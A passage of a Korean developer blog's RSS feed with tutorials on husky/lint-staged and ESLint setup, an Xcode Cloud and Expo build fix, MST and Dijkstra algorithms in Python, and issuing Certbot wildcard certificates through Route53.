&lt;p&gt;husky, lint-staged 설치&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pnpm add husky lint-staged -D
pnpm exec husky init
chmod +x .husky/pre-commit&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;.husky/precommit 에 자동으로 test 돌리는 스크립트를 넣나봅니다..&lt;br&gt;pnpm exec lint-staged 추가해줍니다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pnpm test
pnpm exec lint-staged&lt;/code&gt;&lt;/pre&gt;&lt;blockquote data-ke-style=&quot;style1&quot;&gt;&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&lt;p&gt;create-react-app 에서 기본으로 설정된 pnpm test 스크립트는.. watch를 켜두기 때문에 husky에서 못넘어간다..&lt;br&gt;이럴 경우 &lt;code&gt;&amp;quot;test&amp;quot;: &amp;quot;react-scripts test --watchAll=false&amp;quot;&lt;/code&gt; 이런식으로 &lt;code&gt;--watchAll=false&lt;/code&gt; 속성 지정해줄것&lt;/p&gt;
&lt;/span&gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;package.json에 스크립트 작성&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
  &amp;quot;lint-staged&amp;quot;: {
    &amp;quot;**/*&amp;quot;: [
      &amp;quot;prettier --cache --write --ignore-unknown&amp;quot;,
      &amp;quot;eslint --cache --fix&amp;quot;
    ]
  },
}&lt;/code&gt;&lt;/pre&gt;&lt;h1&gt;React 참고: eslint config 추가설정..&lt;/h1&gt;
&lt;p&gt;.test.js 로 끝나는 jest 파일때문에 eslint에서 막힐 경우가 있다...&lt;br&gt;이는 ...globals.jest option 추가해줘서 해결&lt;/p&gt;
&lt;p&gt;그리고, react-in-jsx-scope 역시 v17부터 필요없다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import globals from &amp;quot;globals&amp;quot;;
import pluginJs from &amp;quot;@eslint/js&amp;quot;;
import tseslint from &amp;quot;typescript-eslint&amp;quot;;
import pluginReact from &amp;quot;eslint-plugin-react&amp;quot;;
import eslintConfigPrettier from &amp;quot;eslint-config-prettier/flat&amp;quot;;
import eslintPluginPrettierRecommended from &amp;quot;eslint-plugin-prettier/recommended&amp;quot;;

/** @type {import(&amp;#39;eslint&amp;#39;).Linter.Config[]} */
export default [
  { files: [&amp;quot;**/*.{js,mjs,cjs,ts,jsx,tsx}&amp;quot;] },
  {
    languageOptions: {
      globals: {
        ...globals.browser,
        ...globals.jest, // 이 부분
      },
    },
  },
  pluginJs.configs.recommended,
  ...tseslint.configs.recommended,
  pluginReact.configs.flat.recommended,
  {
    rules: {
      &amp;quot;react/react-in-jsx-scope&amp;quot;: &amp;quot;off&amp;quot;, // 이 부분
    },
  },
  eslintPluginPrettierRecommended,
  eslintConfigPrettier,
];&lt;/code&gt;&lt;/pre&gt;&lt;h1&gt;(2025-04-18) Update&lt;/h1&gt;
&lt;p&gt;Biome라는 기존의 ESLint + Prettier를 대체할 수 있는 유용한 패키지가 나왔어요.&lt;/p&gt;
&lt;p&gt;기존 ESLint + Prettier에서의 Migration도 Seamless해요.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://biomejs.dev&quot;&gt;https://biomejs.dev&lt;/a&gt;&lt;/p&gt;
&lt;h1&gt;Reference&lt;/h1&gt;
&lt;p&gt;&lt;a href=&quot;https://prettier.io/docs/install&quot;&gt;https://prettier.io/docs/install&lt;/a&gt;&lt;br&gt;&lt;a href=&quot;https://eslint.org/docs/latest/use/getting-started&quot;&gt;https://eslint.org/docs/latest/use/getting-started&lt;/a&gt;&lt;br&gt;&lt;a href=&quot;https://medium.com/@bkn020612/using-eslint-husky-lint-staged-6d6609b02fc2&quot;&gt;https://medium.com/@bkn020612/using-eslint-husky-lint-staged-6d6609b02fc2&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;#nodejs #react&lt;/p&gt;</description>
      <author>parkjbdev</author>
      <guid isPermaLink="true">https://parkjbdev.tistory.com/7</guid>
      <comments>https://parkjbdev.tistory.com/7#entry7comment</comments>
      <pubDate>Sat, 3 May 2025 20:16:30 +0900</pubDate>
    </item>
    <item>
      <title>[해결] Xcode Cloud + Expo React Native 버그 해결</title>
      <link>https://parkjbdev.tistory.com/6</link>
      <description>&lt;h1&gt;문제&lt;/h1&gt;
&lt;h2&gt;처음 발생한 문제..&lt;/h2&gt;
&lt;p&gt;Unable to load contents of file list&lt;/p&gt;
&lt;p&gt;Unable to open base configuration reference file&lt;/p&gt;
&lt;h2&gt;ci_scripts 에서 node 설치 및 pod install 등 세팅 후 발생한 문제..&lt;/h2&gt;
&lt;p&gt;Command PhaseScriptExecution failed with a nonzero exit code&lt;br&gt;Error: GetEnv.NoBoolean: TRUE is not a boolean.&lt;/p&gt;
&lt;p&gt;xcodebuild-archive.log 에서 문제 확인.. 아티팩트에서 다운로드 받아서 확인해볼 것&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;2025-03-13T07:21:02.373872728Z    Error: GetEnv.NoBoolean: TRUE is not a boolean.
2025-03-13T07:21:02.373875325Z    Error: GetEnv.NoBoolean: TRUE is not a boolean.
2025-03-13T07:21:02.373879721Z        at Object.boolish (/Volumes/workspace/repository/node_modules/getenv/index.js:70:15)
2025-03-13T07:21:02.373882796Z        at /Volumes/workspace/repository/node_modules/getenv/index.js:84:27
2025-03-13T07:21:02.373886057Z        at Env.CI (/Volumes/workspace/repository/node_modules/@expo/cli/src/utils/env.ts:41:19)
2025-03-13T07:21:02.373889392Z        at exportEmbedAsync (/Volumes/workspace/repository/node_modules/@expo/cli/src/export/embed/exportEmbedAsync.ts:75:11)
2025-03-13T07:21:02.373893487Z        at /Volumes/workspace/repository/node_modules/@expo/cli/src/export/embed/index.ts:106:12
2025-03-13T07:21:02.373897137Z    Command PhaseScriptExecution failed with a nonzero exit code&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Expo cli 에서 사용하는 getenv 패키지에서 TRUE를 boolish로 판별하지 못하여 생기는 문제인 듯 하다.&lt;/p&gt;
&lt;p&gt;CI를 Xcode에서 대문자 TRUE로 설정하는 듯.&lt;/p&gt;
&lt;h1&gt;해결방법&lt;/h1&gt;
&lt;h2&gt;1. Clean Build&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;yarn cache clean
rm -rf node_modules yarn.lock ios android
yarn
yarn expo prebuild&lt;/code&gt;&lt;/pre&gt;&lt;h2&gt;2. Patch 설정&lt;/h2&gt;
&lt;p&gt;프로젝트 루트에 patches/getenv+1.0.0.patch 파일 생성 (폴더 포함 없으면 새로 생성)&lt;/p&gt;
&lt;p&gt;내용은 다음과 같다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;diff --git a/node_modules/getenv/index.js b/node_modules/getenv/index.js
index 5e83c8f..ae1efd3 100644
--- a/node_modules/getenv/index.js
+++ b/node_modules/getenv/index.js
@@ -54,7 +54,7 @@ const convert = {
     return +value;
   },
   bool: function(value) {
-    const isBool = value === &amp;#39;true&amp;#39; || value === &amp;#39;false&amp;#39;;
+    const isBool = value === &amp;#39;true&amp;#39; || value === &amp;#39;false&amp;#39; || value === &amp;#39;TRUE&amp;#39; || value === &amp;#39;FALSE&amp;#39;;
     if (!isBool) {
       throw new Error(&amp;#39;GetEnv.NoBoolean: &amp;#39; + value + &amp;#39; is not a boolean.&amp;#39;);
     }
@@ -65,7 +65,7 @@ const convert = {
     try {
       return convert.bool(value);
     } catch (err) {
-      const isBool = value === &amp;#39;1&amp;#39; || value === &amp;#39;0&amp;#39;;
+      const isBool = value === &amp;#39;true&amp;#39; || value === &amp;#39;false&amp;#39; || value === &amp;#39;TRUE&amp;#39; || value === &amp;#39;FALSE&amp;#39; || value === &amp;#39;1&amp;#39; || value === &amp;#39;0&amp;#39;;
       if (!isBool) {
         throw new Error(&amp;#39;GetEnv.NoBoolean: &amp;#39; + value + &amp;#39; is not a boolean.&amp;#39;);
       }&lt;/code&gt;&lt;/pre&gt;&lt;h2&gt;3. ci_post_clone.sh&lt;/h2&gt;
&lt;p&gt;프로젝트 루트/ios/ci_scripts/ci_post_clone.sh 파일 생성 (폴더 포함 없으면 새로 생성)&lt;/p&gt;
&lt;p&gt;내용은 다음과 같다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#!/bin/sh

set -e
echo &amp;quot;Running ci_post_clone.sh&amp;quot;

cd ../../

brew install node cocoapods yarn
yarn
yarn add patch-package
npx patch-package

# xcode cloud sets `CI` env var to &amp;#39;TRUE&amp;#39;:
# This causes a crash: Error: GetEnv.NoBoolean: TRUE is not a boolean.
# This is a workaround for that issue.
CI=&amp;quot;true&amp;quot; npx expo prebuild

cd ./ios
pod install&lt;/code&gt;&lt;/pre&gt;&lt;h1&gt;결과&lt;/h1&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; width=&quot;100%&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b9VR4u/btsNJJDBsBk/nthpCvpPwDB4dyHk9Q0pPK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b9VR4u/btsNJJDBsBk/nthpCvpPwDB4dyHk9Q0pPK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b9VR4u/btsNJJDBsBk/nthpCvpPwDB4dyHk9Q0pPK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb9VR4u%2FbtsNJJDBsBk%2FnthpCvpPwDB4dyHk9Q0pPK%2Fimg.png&quot; width=&quot;100%&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;드디어..!&lt;/p&gt;
&lt;h1&gt;Reference&lt;/h1&gt;
&lt;p&gt;&lt;a href=&quot;https://www.richinfante.com/2024/11/18/running-expo-prebuild-in-xcode-cloud&quot;&gt;https://www.richinfante.com/2024/11/18/running-expo-prebuild-in-xcode-cloud&lt;/a&gt;&lt;/p&gt;</description>
      <category>프론트엔드</category>
      <category>Expo</category>
      <category>reactnative</category>
      <category>XCode</category>
      <author>parkjbdev</author>
      <guid isPermaLink="true">https://parkjbdev.tistory.com/6</guid>
      <comments>https://parkjbdev.tistory.com/6#entry6comment</comments>
      <pubDate>Sat, 3 May 2025 20:12:37 +0900</pubDate>
    </item>
    <item>
      <title>[Algorithm] MST: Kruskal &amp;amp; Prim</title>
      <link>https://parkjbdev.tistory.com/5</link>
      <description>&lt;p&gt;&lt;a href=&quot;https://www.acmicpc.net/problem/1197&quot;&gt;백준 - 최소 스패닝 트리&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;Kruskal Algorithm&lt;/h2&gt;
&lt;p&gt;Greedy하게 가장 작은 cost를 가진 edge들을 선택하는 방법이다&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def kruskal(V, E, EDGES):
    # Greedy: Kruskal selects minimum edges
    EDGES.sort(key=lambda x: x[2])
    parent = [i for i in range(V)]
    mst_cost = 0

    def find_parent_recursive(x):
        if parent[x] != x:
            parent[x] = find_parent_recursive(parent[x])
        return parent[x]

    def find_parent(x):
        while parent[x] != x:
            parent[x] = parent[parent[x]]  # 경로 압축
            x = parent[x]
        return x

    def union_parent(a, b):
        a = find_parent(a)
        b = find_parent(b)
        if a &amp;lt; b:
            parent[b] = a
        else:
            parent[a] = b

    for i in range(E):
        a, b, cost = EDGES[i]
        # 부모노드가 다를 경우.. 사이클이 발생하지 않으므로 MST에 포함
        if find_parent(a - 1) != find_parent(b - 1):
            union_parent(a - 1, b - 1)
            mst_cost += cost

    return mst_cost

V, E = map(int, input().split())
EDGES = [tuple(map(int, input().split())) for _ in range(E)]
# edge input: a, b, cost

print(&amp;quot;Kruskal:&amp;quot;, kruskal(V, E, EDGES))&lt;/code&gt;&lt;/pre&gt;&lt;h2&gt;Prim Algorithm&lt;/h2&gt;
&lt;p&gt;Dijkstra랑 비슷한느낌이다..&lt;br&gt;Priority Queue를 이용&lt;/p&gt;
&lt;p&gt;Cycle은 생기지 않는다.. 그래서 Kruskal처럼 Union-Find 필요없음&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# Prim Algorithm
from heapq import heappop as pop, heappush as push


def prim(V, E, EDGES):
    ADJ_EDGES = [[] for _ in range(V)]

    for edge in EDGES:
        ADJ_EDGES[edge[0] - 1].append((edge[2], edge[1] - 1))
        ADJ_EDGES[edge[1] - 1].append((edge[2], edge[0] - 1))

    pq = [(0, 0)]  # (cost, node)
    visited = [False] * V
    mst_cost = 0

    while pq:
        cost, vertex = pop(pq)
        if visited[vertex]:
            continue
        visited[vertex] = True
        mst_cost += cost

        for next_c, next_v in ADJ_EDGES[vertex]:
            if not visited[next_v]:
                push(pq, (next_c, next_v))

    return mst_cost


V, E = map(int, input().split())
EDGES = [tuple(map(int, input().split())) for _ in range(E)]
# edge input: a, b, cost

print(&amp;quot;Prim&amp;quot;, prim(V, E, EDGES))&lt;/code&gt;&lt;/pre&gt;</description>
      <category>알고리즘</category>
      <author>parkjbdev</author>
      <guid isPermaLink="true">https://parkjbdev.tistory.com/5</guid>
      <comments>https://parkjbdev.tistory.com/5#entry5comment</comments>
      <pubDate>Sat, 3 May 2025 20:11:19 +0900</pubDate>
    </item>
    <item>
      <title>[Algorithm] Dijkstra</title>
      <link>https://parkjbdev.tistory.com/4</link>
      <description>&lt;h1&gt;예시&lt;/h1&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;250&quot; data-origin-height=&quot;196&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Ma1P8/btsNVkbf7HQ/8fGNlQnjYs2hIZP8W0Sck1/img.gif&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Ma1P8/btsNVkbf7HQ/8fGNlQnjYs2hIZP8W0Sck1/img.gif&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Ma1P8/btsNVkbf7HQ/8fGNlQnjYs2hIZP8W0Sck1/img.gif&quot; srcset=&quot;https://blog.kakaocdn.net/dn/Ma1P8/btsNVkbf7HQ/8fGNlQnjYs2hIZP8W0Sck1/img.gif&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;250&quot; height=&quot;196&quot; data-origin-width=&quot;250&quot; data-origin-height=&quot;196&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h2&gt;초기화&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;노드: (다른 노드, 거리)
1: (2, 7), (3, 9), (6, 14)
2: (1, 7), (3, 10), (4, 15)
3: (1, 9), (2, 10), (4, 11), (6, 2)
4: (2, 15), (3, 11), (5, 6)
5: (4, 6), (6, 9)
6: (1, 14), (3, 2), (5, 9)&lt;/code&gt;&lt;/pre&gt;&lt;h2&gt;Step by Step&lt;/h2&gt;
&lt;p&gt;편의상 distance 배열의 index는 1부터 시작한다고 하자.&lt;br&gt;Q는 Min Heap Priority Queue로, (cost, node)와 같이 저장한다.&lt;/p&gt;
&lt;h3&gt;초기상태&lt;/h3&gt;
&lt;p&gt;Q = [(0, 1)]&lt;br&gt;S = {}&lt;br&gt;distance = [0, inf, inf, inf, inf]&lt;/p&gt;
&lt;h3&gt;1단계: 노드 1 방문&lt;/h3&gt;
&lt;p&gt;Q = [(0, 1)]&lt;br&gt;S = {}&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;pop Q &amp;amp; add to S&lt;/strong&gt;&lt;br&gt;S = {1}&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;인접 노드들 처리&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;2번: distance[2] = inf &amp;gt; 7 → 업데이트 및 push&lt;/li&gt;
&lt;li&gt;3번: distance[3] = inf &amp;gt; 9 → 업데이트 및 push&lt;/li&gt;
&lt;li&gt;6번: distance[6] = inf &amp;gt; 14 → 업데이트 및 push&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Q = [(7, 2), (9, 3), (14, 6)]&lt;br&gt;distance = [0, 7, 9, inf, inf, 14]&lt;/p&gt;
&lt;h3&gt;2단계: 노드 2 방문&lt;/h3&gt;
&lt;p&gt;Q = [(7, 2), (9, 3), (14, 6)]&lt;br&gt;S = {1}&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;pop Q &amp;amp; add to S&lt;/strong&gt;&lt;br&gt;S = {1, 2}&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;인접 노드들 처리&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;1번: 무시&lt;/li&gt;
&lt;li&gt;3번: distance[3] = 9 &amp;lt; 7 + 10 → 무시&lt;/li&gt;
&lt;li&gt;4번: distance[4] = inf &amp;lt; 7 + 15 = 22 → 업데이트 및 push&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Q = [(9, 3), (14, 6), (22, 4)]&lt;br&gt;distance = [0, 7, 9, 22, inf, 14]&lt;/p&gt;
&lt;h3&gt;3단계: 노드 3 방문&lt;/h3&gt;
&lt;p&gt;Q = [(9, 3), (14, 6), (22, 4)]&lt;br&gt;S = {1, 2}&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;pop Q &amp;amp; add to S&lt;/strong&gt;&lt;br&gt;S = {1, 2, 3}&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;인접 노드들 처리&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;1번: 무시&lt;/li&gt;
&lt;li&gt;2번: 무시&lt;/li&gt;
&lt;li&gt;4번: distance[4] = 22 &amp;gt; 9 + 11 = 20 → 업데이트 및 push&lt;/li&gt;
&lt;li&gt;6번: distance[6] = 14 &amp;gt; 9 + 2 = 11 → 업데이트 및 push&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Q = [(11, 6), (14, 6), (22, 4), (20, 4)]&lt;br&gt;distance = [0, 7, 9, 20, inf, 11]&lt;/p&gt;
&lt;h3&gt;4단계: 노드 6 방문&lt;/h3&gt;
&lt;p&gt;Q = [(11, 6), (14, 6), (22, 4), (20, 4)]&lt;br&gt;S = {1, 2, 3}&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;pop Q &amp;amp; add to S&lt;/strong&gt;&lt;br&gt;S = {1, 2, 3, 6}&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;인접 노드들 처리&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;1번: 무시&lt;/li&gt;
&lt;li&gt;3번: 무시&lt;/li&gt;
&lt;li&gt;5번: distance[5] = inf &amp;gt; 11 + 9 = 20 → 업데이트 및 push&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Q = [(14, 6), (20, 4), (22, 4), (20, 5)]&lt;br&gt;distance = [0, 7, 9, 20, 20, 11]&lt;/p&gt;
&lt;h3&gt;5단계: 노드 6 다시 등장 (중복)&lt;/h3&gt;
&lt;p&gt;Q = [(14, 6), (20, 4), (22, 4), (20, 5)]&lt;br&gt;S = {1, 2, 3, 6}&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;pop Q &amp;amp; add to S&lt;/strong&gt; → 이미 S에 존재하므로 무시&lt;/p&gt;
&lt;p&gt;Q = [(20, 4), (20, 5), (22, 4)]&lt;/p&gt;
&lt;h3&gt;6단계: 노드 4 방문&lt;/h3&gt;
&lt;p&gt;Q = [(20, 4), (20, 5), (22, 4)]&lt;br&gt;S = {1, 2, 3, 6}&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;pop Q &amp;amp; add to S&lt;/strong&gt;&lt;br&gt;S = {1, 2, 3, 4, 6}&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;인접 노드들 처리&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;2번: 무시&lt;/li&gt;
&lt;li&gt;3번: 무시&lt;/li&gt;
&lt;li&gt;5번: distance[5] = 20 ≤ 20 + 6 = 26 → 무시&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Q = [(20, 5), (22, 4)]&lt;br&gt;distance = [0, 7, 9, 20, 20, 11]&lt;/p&gt;
&lt;h3&gt;7단계: 노드 5 방문&lt;/h3&gt;
&lt;p&gt;Q = [(20, 5), (22, 4)]&lt;br&gt;S = {1, 2, 3, 4, 6}&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;pop Q &amp;amp; add to S&lt;/strong&gt;&lt;br&gt;S = {1, 2, 3, 4, 5, 6}&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;인접 노드들 처리&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;4번: 무시&lt;/li&gt;
&lt;li&gt;6번: 무시&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Q = [(22, 4)]&lt;/p&gt;
&lt;h3&gt;8단계: 노드 4 중복 등장 → 무시&lt;/h3&gt;
&lt;p&gt;Q = [(22, 4)]&lt;br&gt;S = {1, 2, 3, 4, 5, 6}&lt;/p&gt;
&lt;p&gt;pop Q → 이미 S에 있으므로 무시&lt;/p&gt;
&lt;h3&gt;단계별 실행 표&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;단계&lt;/th&gt;
&lt;th&gt;방문 노드&lt;/th&gt;
&lt;th&gt;Q 상태&lt;/th&gt;
&lt;th&gt;S&lt;/th&gt;
&lt;th&gt;distance[]&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;[]&lt;/td&gt;
&lt;td&gt;{1}&lt;/td&gt;
&lt;td&gt;[0, 7, 9, inf, inf, 14]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;[(9,3), (14,6), (22,4)]&lt;/td&gt;
&lt;td&gt;{1,2}&lt;/td&gt;
&lt;td&gt;[0, 7, 9, 22, inf, 14]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;[(11,6), (14,6), (22,4), (20,4)]&lt;/td&gt;
&lt;td&gt;{1,2,3}&lt;/td&gt;
&lt;td&gt;[0, 7, 9, 20, inf, 11]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;6&lt;/td&gt;
&lt;td&gt;[(14,6), (20,4), (22,4), (20,5)]&lt;/td&gt;
&lt;td&gt;{1,2,3,6}&lt;/td&gt;
&lt;td&gt;[0, 7, 9, 20, 20, 11]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;6 (중복)&lt;/td&gt;
&lt;td&gt;[(20,4), (20,5), (22,4)]&lt;/td&gt;
&lt;td&gt;{1,2,3,6}&lt;/td&gt;
&lt;td&gt;[0, 7, 9, 20, 20, 11]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;6&lt;/td&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;[(20,5), (22,4)]&lt;/td&gt;
&lt;td&gt;{1,2,3,4,6}&lt;/td&gt;
&lt;td&gt;[0, 7, 9, 20, 20, 11]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;7&lt;/td&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;[(22,4)]&lt;/td&gt;
&lt;td&gt;{1,2,3,4,5,6}&lt;/td&gt;
&lt;td&gt;[0, 7, 9, 20, 20, 11]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;8&lt;/td&gt;
&lt;td&gt;4 (중복)&lt;/td&gt;
&lt;td&gt;[]&lt;/td&gt;
&lt;td&gt;{1,2,3,4,5,6}&lt;/td&gt;
&lt;td&gt;[0, 7, 9, 20, 20, 11]&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;h1&gt;[코드] Dijkstra with Priority Queue&lt;/h1&gt;
&lt;pre&gt;&lt;code&gt;# Dijkstra Algorithm with Adjacent List and Priority Heap
# https://www.acmicpc.net/problem/1753

from math import inf
from heapq import heappush as push, heappop as pop

# 입력
V, E = map(int, input().split())
K = int(input()) - 1 # 시작 정점 번호
EDGES = [tuple(map(int, input().split())) for _ in range(E)]

# Adjacent List
ADJ_EDGES = [[] for _ in range(V)]

for edge in EDGES:
    ADJ_EDGES[edge[0] - 1].append((edge[2], edge[1] - 1))

# Distance
distance = [inf for _ in range(V)]
distance[K] = 0

# Priority Heap: 거리순으로 정렬
pq = []
push(pq, (0, K))

while pq:
    # 노드 방문
    cost, vertex = pop(pq)
    if distance[vertex] &amp;lt; cost:
        continue

    # 가장 작은 weight 가진 곳으로..
    for next_c, next_v in ADJ_EDGES[vertex]:
        cmp_distance = distance[vertex] + next_c
        if cmp_distance &amp;lt; distance[next_v]:
            distance[next_v] = cmp_distance
            push(pq, (cmp_distance, next_v))

print(*map(lambda x: str(x).upper(), distance), sep=&amp;quot;\n&amp;quot;)&lt;/code&gt;&lt;/pre&gt;</description>
      <category>알고리즘</category>
      <author>parkjbdev</author>
      <guid isPermaLink="true">https://parkjbdev.tistory.com/4</guid>
      <comments>https://parkjbdev.tistory.com/4#entry4comment</comments>
      <pubDate>Sat, 3 May 2025 20:10:22 +0900</pubDate>
    </item>
    <item>
      <title>[SSL] Route53 + Certbot 와일드카드 인증서 발급</title>
      <link>https://parkjbdev.tistory.com/2</link>
      <description>&lt;h1&gt;플러그인 설치 및 Credential 설정&lt;/h1&gt;
&lt;h2&gt;Certbot Route53 플러그인 설치&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;sudo apt-get update
sudo apt-get install python3-certbot-dns-route53&lt;/code&gt;&lt;/pre&gt;&lt;h2&gt;AWS IAM 사용자 생성&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;AWS 콘솔의 IAM 서비스에서 새로운 사용자 생성하기 (ex. &lt;code&gt;certbot&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;액세스 키 생성&lt;/li&gt;
&lt;li&gt;권한 설정 (&lt;code&gt;AmazonRoute53FullAccess&lt;/code&gt; 권한)&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;AWS 자격 증명 파일 생성&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;mkdir -p ~/.aws
vi ~/.aws/credentials&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;~/.aws/credentials 에 발급받은 ACCESS_KEY의 ID와 SECRET_KEY를 아래와 같이 입력한다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[default]
aws_access_key_id = YOUR_ACCESS_KEY_ID
aws_secret_access_key = YOUR_SECRET_ACCESS_KEY&lt;/code&gt;&lt;/pre&gt;&lt;h3&gt;보안 권한 설정&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;chmod 600 ~/.aws/credentials&lt;/code&gt;&lt;/pre&gt;&lt;h1&gt;인증서 발급&lt;/h1&gt;
&lt;h2&gt;기존 인증서 삭제&lt;/h2&gt;
&lt;p&gt;혹시 기존 인증서가 있다면 삭제하자. (안해도 되지만.. clean하게..)&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo certbot delete --cert-name parkjb.com&lt;/code&gt;&lt;/pre&gt;&lt;h2&gt;새로운 인증서 발급&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;sudo certbot certonly \
  --dns-route53 \
  -d parkjb.com \
  -d &amp;#39;*.parkjb.com&amp;#39;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;code&gt;certonly&lt;/code&gt;: 인증서만 발급하고, 웹 서버 설정은 변경하지 않는 옵션.. &lt;code&gt;certonly&lt;/code&gt; 없이 자동으로 한다면 설정 올바르게 되었는지 확인해주기&lt;/p&gt;
&lt;h3&gt;에러?&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;Saving debug log to /var/log/letsencrypt/letsencrypt.log
Requesting a certificate for parkjb.com and *.parkjb.com
Unable to locate credentials
To use certbot-dns-route53, configure credentials as described at https://boto3.readthedocs.io/en/latest/guide/configuration.html#best-practices-for-configuring-credentials and add the necessary permissions for Route53 access.
Ask for help or search for solutions at https://community.letsencrypt.org. See the logfile /var/log/letsencrypt/letsencrypt.log or re-run Certbot with -v for more details.&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;이런 에러가 뜬다면, Credential 정보를 못찾은 것이다.&lt;br&gt;~/.aws 폴더에 들어있는 Credential이 사용자의 홈 디렉토리에 있어서 발생하는 문제이다.&lt;br&gt;이럴때는 root에 ~/.aws 폴더를 옮겨주거나, 아래의 환경변수를 설정하고 다시 실행한다.&lt;/p&gt;
